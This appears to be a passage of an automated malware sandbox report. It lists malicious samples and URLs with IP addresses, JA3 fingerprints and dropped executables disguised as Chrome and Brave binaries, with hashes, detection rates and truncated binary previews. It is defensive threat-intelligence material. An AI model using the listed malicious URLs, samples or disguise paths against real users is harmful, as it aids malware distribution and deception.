	http://centurionbusinesses.com/m	Get hash	malicious	Browse	104.18.11.207
	6iWK0k820U.exe	Get hash	malicious	Browse	66.235.200.147
	invoice.html	Get hash	malicious	Browse	104.18.36.4
	fQxEIQAU5H.xlsx	Get hash	malicious	Browse	172.64.133.15
	file.exe	Get hash	malicious	Browse	162.159.129.233
	https://www.g2trc.com/	Get hash	malicious	Browse	104.26.3.39
	https://iindexformprot.blob.core.windows.net/index/trial.html?sp=r&st=2022-11-23T10:52:22Z&se=2022-11-27T18:52:22Z&spr=https&sv=2021-06-08&sr=b&sig=ZwgkLDCJs4WfhkBNR8ZWCPALTKhsAm%2B6W1E81Awnu6k%3D	Get hash	malicious	Browse	104.18.31.78
	file.exe	Get hash	malicious	Browse	104.21.14.22
	https://app.pipefy.com/public/form/hkY3kWuG	Get hash	malicious	Browse	104.17.236.70
	https://app.pipefy.com/public/form/hkY3kWuG	Get hash	malicious	Browse	104.17.236.70
	bryD1wfWrB.exe	Get hash	malicious	Browse	172.67.34.170
	SecuriteInfo.com.Win32.PWSX-gen.32119.32634.exe	Get hash	malicious	Browse	104.21.46.58
	https://tracedm-ap-southeast-1.aliyun.com/trace/v1/report?bid=20221123&env=17870283361186532041&mac=73310&mf=pdfcloud%40mail-service.wondershare.com&msgid=ee12d1b7-58c3-4a31-b3d2-3d27cc17b3b2%40alibaba.com&sac=0&tag=API&tid=task20221123&to=john%40jrgrif.com.au&tpl=&ts=1669185545&type=0&url=https%3A%2F%2Fdocumentcloud.wondershare.com%2Fshare%2Freview%2F4TOdulHoE4tDDJkYojwSieEYmk6u5ppAEg8icFW9-omyLzIMpcz1BrmzGLoJZVTVdt_NTVnv_nNTApsf2vDh6A%3Flang%3Den-us&v=1.0&sign=3d00d92ef44c0af98c6f2c3fd80b2aa4	Get hash	malicious	Browse	188.114.96.3
	SecuriteInfo.com.Win64.TrojanX-gen.12769.19216.exe	Get hash	malicious	Browse	172.67.188.139
	#Ud83d#Udce0Fax-Inv8738798765678692234323.shtml	Get hash	malicious	Browse	104.18.23.52
	PO__0058754.html	Get hash	malicious	Browse	104.18.11.207
	What_is_rebate_agreement_in_sap_sd (garo).js	Get hash	malicious	Browse	172.67.136.157
	https://mail.jaytellis.com	Get hash	malicious	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	6iWK0k820U.exe	Get hash	malicious	Browse	172.66.40.196
	https://losdigital-my.sharepoint.com/:o:/g/personal/tatyana_losdigital_no/Ej7WHSDAJ3JDsnnoxtswpcYBsDBKe33RmtGrkS5VXoNg-w?e=GmHMbZ	Get hash	malicious	Browse	172.66.40.196
	invoice.html	Get hash	malicious	Browse	172.66.40.196
	60724da01de35adee6cb34317cd2947fbcb791a838138.exe	Get hash	malicious	Browse	172.66.40.196
	d7c42d1df0e957935b672b0633cf3dad39b5d8c85eec4.exe	Get hash	malicious	Browse	172.66.40.196
	nvzcQLmGxV.xls	Get hash	malicious	Browse	172.66.40.196
	VM__20221123114010.69D7C644F5B4C19C@skolverket.se_.html	Get hash	malicious	Browse	172.66.40.196
	d7c42d1df0e957935b672b0633cf3dad39b5d8c85eec4.exe	Get hash	malicious	Browse	172.66.40.196
	TKbgHySyKG.xls	Get hash	malicious	Browse	172.66.40.196
	qsu3KRECRS.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.40.196
	MIJZnILMm8.exe	Get hash	malicious	Browse	172.66.40.196
	ypGQPWNY6v.xls	Get hash	malicious	Browse	172.66.40.196
	PdGnoiLgBB.xls	Get hash	malicious	Browse	172.66.40.196
	8511134429#U00b4.msi	Get hash	malicious	Browse	172.66.40.196
	EmCt6FAPGl.xls	Get hash	malicious	Browse	172.66.40.196
	jli.bin.dll	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.40.196
	https://app.pipefy.com/public/form/hkY3kWuG	Get hash	malicious	Browse	172.66.40.196

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Program Files\Google\Chrome\updater.exe	6iWK0k820U.exe	Get hash	malicious	Browse
	E3BaMFIxln.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	Setup.exe	Get hash	malicious	Browse
	Loader.exe	Get hash	malicious	Browse
	AJ46HzaAxk.exe	Get hash	malicious	Browse
	Installer.exe	Get hash	malicious	Browse
	ndkqXR67bn.exe	Get hash	malicious	Browse
	NCVVe1Xqfs.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Google\brave.exe	6iWK0k820U.exe	Get hash	malicious	Browse
	E3BaMFIxln.exe	Get hash	malicious	Browse
	Setup.exe	Get hash	malicious	Browse
	Loader.exe	Get hash	malicious	Browse
	AQjjTzMuUR.exe	Get hash	malicious	Browse
	AJ46HzaAxk.exe	Get hash	malicious	Browse
	Installer.exe	Get hash	malicious	Browse
	ndkqXR67bn.exe	Get hash	malicious	Browse
	NCVVe1Xqfs.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Google\brave.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2884609
Entropy (8bit):	7.915812566955318
Encrypted:	false
SSDEEP:	49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5:	EB27BB8CFA99D659E4FE023E9002ECD1
SHA1:	C783400302FDFAE0518269C5A5A8D4BAD29F42A3
SHA-256:	9C01D90543458567C4737731EE6754CC209E4BB78FF648EB75C4D23BE261EF2F
SHA-512:	AB5AD3C094ED1F094AA82D80D298E6D0AB15A94B58B007DBE8A6219FE8498569B5D9013D770BD9910F177F94F2639D84650655E8F60113051E98B386C49C36A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 85%
Joe Sandbox View:	Filename: 6iWK0k820U.exe, Detection: malicious, Browse Filename: E3BaMFIxln.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Loader.exe, Detection: malicious, Browse Filename: AJ46HzaAxk.exe, Detection: malicious, Browse Filename: Installer.exe, Detection: malicious, Browse Filename: ndkqXR67bn.exe, Detection: malicious, Browse Filename: NCVVe1Xqfs.exe, Detection: malicious, Browse
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d...."Cc...............$......,................@..............................,.......,...`... .............................................. ,......`,.......+..8...........p,.............................`Z+.(....................$,.0............................text...x...........................`.P`.data.....'..0....'.................@.`..rdata..pP...0+..R....+.............@.`@.pdata...8....+..:...n+.............@.0@.xdata...1....+..2....+.............@.0@.bss..........,.......................`..idata....... ,.......+.............@.0..CRT....x....@,.......+.............@.@..tls.........P,.......+.............@.@..rsrc........`,.......+.............@.0..reloc.......p,.......,.............@.0B........................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_FKN6uh7y01.exe_909a7fd8959236c2cadcdacbe03199b5db40977d_0ca881e9_b5c206fd\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8361460907836815
Encrypted:	false
SSDEEP:	96:LjFTYG6QMeCIPoI7RC6tpXIQcQvc6QcEDMcw3Dgjq+HbHg/8BRTf3OFL9iVffYE7:H56JoHBUZMXIjluq/u7sTS274Itp
MD5:	651BA2F01489DF5E630E65B943A60AA0
SHA1:	F72B81F32A906817D062FFCFDB43918114B36FCE
SHA-256:	A7554EE04E803C77ADD5989C69DD7ADF3326761D515F42C8A22582D7C6666DAD
SHA-512:	7CA68F24BD66DE6D41F90708D3CBC5824B29AFE1098597057A833FBC98ECC677029058FFDD38A5E1E17207974285A53472305A3A9166AB5AF11E4C6D721E0DEC
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.1.3.7.6.6.4.3.8.3.1.3.3.6.6.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.1.3.7.6.6.4.4.4.1.1.0.2.2.3.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.6.8.7.9.e.6.7.-.a.8.b.b.-.4.6.3.f.-.8.e.e.a.-.b.5.3.3.a.3.6.e.d.2.a.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.7.4.9.b.1.b.c.-.2.3.7.a.-.4.5.4.b.-.a.8.7.6.-.2.a.1.b.2.b.7.a.c.5.0.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.F.K.N.6.u.h.7.y.0.1...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.9.8.-.0.0.0.1.-.0.0.1.f.-.5.5.9.e.-.0.d.0.f.0.0.0.0.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.d.1.8.6.9.1.c.1.b.a.9.5.b.9.d.0.d.1.0.8.c.7.e.0.9.8.d.8.2.c.e.0.0.0.0.1.a.0.8.!.0.0.0.0.1.9.a.3.c.f.5.3.a.3.1.c.4.f.3.7.c.2.4.c.7.7.1.2.6.4.5.0.4.e.6.6.d.1.b.e.1.1.9.3.!.F.K.N.6.u.h.7.y.0.1...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE694.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Nov 24 12:27:22 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	1032218
Entropy (8bit):	2.669502536301698
Encrypted:	false
SSDEEP:	3072:5ftFv5AgzXZ7yk6LRYD9lfNmcBZdkXsuX0Y8UWRvyA8:5fHFALRWV5/dA0lvy
MD5:	983FB4699FB966F510324EBF66E92FB0
SHA1:	CCDDF135164EEDCB9DD41DE50A7390A91FFF7435
SHA-256:	2CE09272E947D0B7E46074568BBBDDD39A13EF402DADF191F45BEE9011441083
SHA-512:	FE891A452DCDAA91C2F59B6E1525F6117357EE328238E31CBE9FC7BF50D7679F2DFEAFC8E5E2C3E8C7D6F42C91152AD477B627AB2F3DF70E3D736C543A6B66DD
Malicious:	false
Preview:	MDMP....... .......*c.c.........................................&..........T.......8...........T............C...\|...........................................................................................U...........B......8.......GenuineIntelW...........T............c.c.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF887.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8432
Entropy (8bit):	3.700096083075816
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi8N6l6YeaSUUxgmfvSPQ+pro89bCS/sf0Bcgm:RrlsNiu6l6YTSUUxgmfvSxCSkfbF
MD5:	5DD7A844D07F37D6653C398C4AB2F395
SHA1:	3E4CDCF95B2518743554E8143C6FE6E18F2C6C9F
SHA-256:	59FC43CF656718B9CE5D6A17AFBA201E94740CEBE004BB9B4805676C3DD0D072
SHA-512:	C6C987DA6E0FA7068E9B067B8674B024CA02627CA2E08DB62DA08F005D4D22ECD11F95CF432A8BE36CF126D8DE702512BC6D629E7E7605F27423D941B2E6A0C3
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.0.4.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF9EF.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4716
Entropy (8bit):	4.490900911532429
Encrypted:	false
SSDEEP:	48:cvIwSD8zsAJgtWI9AmWgc8sqYjyX8fm8M4J3LzMFdTP+q8vNLzTtKDd:uITfGDngrsqYm8J7zGPKVzTtKDd
MD5:	594687EB9EE5BC8605C60B9C04D2A807
SHA1:	BF8FD7CDE228BBEA8D6B5539D982C159787DD0B9
SHA-256:	BC2E7146E2E748C8DA0FA7A2AEC63E61380437ED2A81FA99A3856C056583DA84
SHA-512:	0FCDDBD57950E7DB137F99EE55E321C360069E7DB39BEADD094F02C65CAAE387F8B570DC03ACADF383FAA70621AAD65C7B2D8AC140ADBB82C108B7625D9B5055
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1794098" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Google\brave.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2884608
Entropy (8bit):	7.915813410181377
Encrypted:	false
SSDEEP:	49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5:	9253ED091D81E076A3037E12AF3DC871
SHA1:	EC02829A25B3BF57AD061BBE54180D0C99C76981
SHA-256:	78E0A8309BC850037E12C2D72A5B0843DCD8B412A0A597C2A3DCBD44E9F3C859
SHA-512:	29FF2FD5F150D10B2D281A45DF5B44873192605DE8DC95278D6A7B5053370E4AC64A47100B13C63F3C048DF351A9B51F0B93AF7D922399A91508A50C152E8CF4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 85%
Joe Sandbox View:	Filename: 6iWK0k820U.exe, Detection: malicious, Browse Filename: E3BaMFIxln.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Loader.exe, Detection: malicious, Browse Filename: AQjjTzMuUR.exe, Detection: malicious, Browse Filename: AJ46HzaAxk.exe, Detection: malicious, Browse Filename: Installer.exe, Detection: malicious, Browse Filename: ndkqXR67bn.exe, Detection: malicious, Browse Filename: NCVVe1Xqfs.exe, Detection: malicious, Browse
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d...."Cc...............$......,................@..............................,.......,...`... .............................................. ,......`,.......+..8...........p,.............................`Z+.(....................$,.0............................text...x...........................`.P`.data.....'..0....'.................@.`..rdata..pP...0+..R....+.............@.`@.pdata...8....+..:...n+.............@.0@.xdata...1....+..2....+.............@.0@.bss..........,.......................`..idata....... ,.......+.............@.0..CRT....x....@,.......+.............@.@..tls.........P,.......+.............@.@..rsrc........`,.......+.............@.0..reloc.......p,.......,.............@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Google\chrome.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6423552
Entropy (8bit):	7.922005336740627
Encrypted:	false
SSDEEP:	98304:Zr+dbd33oSpsJu9oR+bY11UhoIwBOqF85EiqrvBb2s4U5OoNkI9xFvPrBtOs6ha:x+BzpWu891ZDBOr+iqrpbTLp/U
MD5:	8CD1EA50F8F4C45055400E70DA52B326
SHA1:	40AF98091E8C32CE9C90502B3D851EBC231CACF9
SHA-256:	66552CBE03B205CBA08A2524FB93303DEC5EDF51188758B08D12624DB1EE73E1
SHA-512:	B0BE3ACCCF8CE64343B10E33B7CD5E7292164259D65C07E0C63C08DC05BFA0CF268290B3A37F20F6AFA81D7163BE8C90AC9AE9A7FB93C3E61CBC08310A2BEAF1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...xb..xb..xb.....rb......b.....lb.....Tb.....ib..*...lb.....}b..xb..,b.....{b...i.yb.....yb..Richxb..........................PE..L.....qc.................2....`......o.......P....@..........................Pb.......b...@.................................D.\.<.... ]......................0b.\|.....\.......................\.......\.@............P...............................text...30.......2.................. ..`.rdata....[..P....[..6..............@..@.data.........].......\.............@....rsrc........ ].......\.............@..@.reloc..\|....0b.......a.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\ofg.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	6.270431868500399
Encrypted:	false
SSDEEP:	1536:apyR0Fl1K6g0e8hsEvKAxtE4zo8Sw7Ky7NGHjQR54z5sW0cd/cbPpGA/uYEmsn:a9l1Ed8hsEfLoBw7p7B54p/uPpGA/VEr
MD5:	33DAD992607D0FFD44D2C81FE67F8FB1
SHA1:	E5B67DC05505FB1232504231F41CBA225C282D3C
SHA-256:	95903D8C2D48C4C0667E41878807F646F7648A33ED25D0EB433AAB41C25E31A4
SHA-512:	444973B44292C433A07E5F75F6580EA71799B1F835677BC5B2E42AF6B567A2F70F1B038F019D250A18216701CCF901B300632487EEBCC1113AC803EDB43159E4
Malicious:	true
Yara Hits:	Rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM, Description: Detects executables embedding command execution via IExecuteCommand COM object, Source: C:\Users\user\AppData\Local\Google\ofg.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 10%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}f.I9...9...9....u..3....u.......u..-...kr......kr..(...kr..*....u..0...9...X....r..8....r=.8....r..8...Rich9...........................PE..L...oz~c.............................$............@.......................................@..................................L..d...............................L....?..8....................@.......?..@...............T............................text............................... ..`.rdata...d.......f..................@..@.data........`.......<..............@....rsrc................F..............@..@.reloc..L............H..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	5.3371553026862095
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHKhBHKdHKBfHK5AHKzvQTHmtHoxHImHKAHK1Hd:iqXeqm00YqhQnouOqLqdqNq2qzcGtIxq
MD5:	1F71F77C2B825C36506E9E6CE0D168DD
SHA1:	FBA6C858ECF2E0368051567EAE39E87193E9B46B
SHA-256:	2D717AA2E9F53C56DB74057573180A22B3745B08F151E986A3A6E5E05D12A67C
SHA-512:	4DAFA986C0A63908F8BA11C07902DF316641DA77D2BFEE157E1A19C17E3ED940B3185EC7AAF8F973A481948E3B6DF3093EF253DE37AF7B383D52AE4DE8737015
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	45177
Entropy (8bit):	5.074672989013172
Encrypted:	false
SSDEEP:	768:ceW8JV3IpNBQkj22h4iUx/aVkfrRJv5FLv0znHoE8ard3uKPSOdB8N/zltAHkhNY:ceJJV3CNBQkj22h4iUx/aVkflJnLvAH/
MD5:	FA0D737CAF174B5F1E345D9302DF942F
SHA1:	270BF566DE3479E185B9B7880E5D8BD0D6796C52
SHA-256:	507B7978B6A9D4C029ECD3D983BB21697D35703019870C19B7CB0A6C64913248
SHA-512:	9EDFCBB2D9E75A95BBB3D0467DB520DE3FC1BB445A4BF46D84BA6ADA6B7E97D846293B7DB645601A9E7FD3330C6C0F3E85056B1A93C50B8166C8EE33721DF86B
Malicious:	false
Preview:	PSMODULECACHE.F..._.%.....?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PKI\PKI.psd1........Export-Certificate........Get-CertificateNotificationTask........Get-PfxData........New-CertificateNotificationTask........Import-PfxCertificate....#...Set-CertificateAutoEnrollmentPolicy........Export-PfxCertificate........Switch-Certificate........New-SelfSignedCertificate....%...Get-CertificateEnrollmentPolicyServer....%...Add-CertificateEnrollmentPolicyServer....(...Remove-CertificateEnrollmentPolicyServer........Import-Certificate........Test-Certificate........Get-Certificate...."...Remove-CertificateNotificationTask....#...Get-CertificateAutoEnrollmentPolicy........_.o.....q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DirectAccessClientComponents\DirectAccessClientComponents.psd1........Set-DAEntryPointTableItem....#...Set-DAClientExperienceConfiguration...."...Enable-DAManualEntryPointSelection........Get-DAEntryPointTableItem........Reset-DAEntryPointTableItem....%...R

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	21668
Entropy (8bit):	5.479995944593327
Encrypted:	false
SSDEEP:	384:9tCRL3cD973KsHDhOKIISVpii5mQu0oMNsInR5ZoFRVrdQFClQv3++nYc:jKShOkU0i5mQBN5Tap39c
MD5:	EDB08D39B7DCBBA4E1C01DF963770193
SHA1:	AE852B9C937AA4B047BBDB674DD751A6D828BD03
SHA-256:	30C3C5FC1DC6744C40312D6D74C570953324BE54A3B411E471A12DCCDB8E0F18
SHA-512:	982E0B390EA49C7C89F231F9C5921C4F1507DF0D149F976FCE9B040F68B33221344511A5775C983BC4AB3848EB21FB71FF6065E9913F35044463EAD9E38336BC
Malicious:	false
Preview:	@...e...................j.................e..........@..........H...............<@.^.L."My...::..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)w.......System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\33C5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Google\brave.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	335360
Entropy (8bit):	7.548086611496671
Encrypted:	false
SSDEEP:	6144:RBx7z3Bre16M01nguKBmmlbvx0zKGkl5EiCtuhNjtANJ4tDWhRaitlopYR:RnBreIfKNJVZotuhNZKxrYpI
MD5:	DA87A0A2ABA605908BF8B9A3F4377481
SHA1:	5CAC4EA0B3F0CC2D7C04655DB12AD0443CBAA5CF
SHA-256:	22EE7B8104599B47313195598FFC34AAFD6A6552DCCE0E7B3232CED3A90AC9A4
SHA-512:	55A8A27A013CB2C3DEDA81779D89AB956A5F57D00A155496ABC7BF3C5A87F3B7C41058AB3681CBBD0406F69EA01C4FFC3E5779C2CA676088A68CB87F19C34C28
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$..........;..eh..eh..eh.fi..eh.`iS.eh..`i..eh..ai..eh..fi..eh.ai..eh.di..eh..dhE.eh^.li..eh^..h..eh...h..eh^.gi..ehRich..eh........PE..d......b.........."..........n......D..........@.............................`............`..................................................e..P...............(............P..d....Q..p............................P..@...............x............................text...0........................... ..`.rdata.............................@..@.data...X....p.......`..............@....pdata..(............l..............@..@_RDATA..\............\|..............@..@.rsrc................~..............@..@.reloc..d....P......................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_14crr1cg.2ns.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_43vkyyu3.x2j.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
